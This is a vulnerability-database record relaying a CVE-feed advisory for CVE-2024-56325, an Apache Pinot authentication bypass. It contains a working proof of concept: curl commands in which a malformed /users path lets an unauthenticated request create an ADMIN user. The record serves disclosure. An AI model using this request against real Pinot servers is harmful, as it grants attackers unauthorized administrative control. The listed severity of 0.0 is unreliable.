{"uuid": "81c2a461-a786-4c8a-b3ff-76797cc36071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-56325", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/21746", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-56325 - Apache Pinot Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-56325 \nPublished : April 1, 2025, 9:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : Authentication Bypass Issue  \n  \nIf the path does not contain / and contain., authentication is not required.  \n  \nExpected Normal Request and Response Example  \n  \ncurl -X POST -H \"Content-Type: application/json\" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}  http://{server_ip}:9000/users   \n  \n  \nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}  \n  \n  \nMalicious Request and Response Example   \n  \ncurl -X POST -H \"Content-Type: application/json\" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .  \n  \n  \nReturn: {\"users\":{}}  \n  \n  \n  \n   \n  \nA new user gets added bypassing authentication, enabling the user to control Pinot. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-01T13:37:52.000000Z"}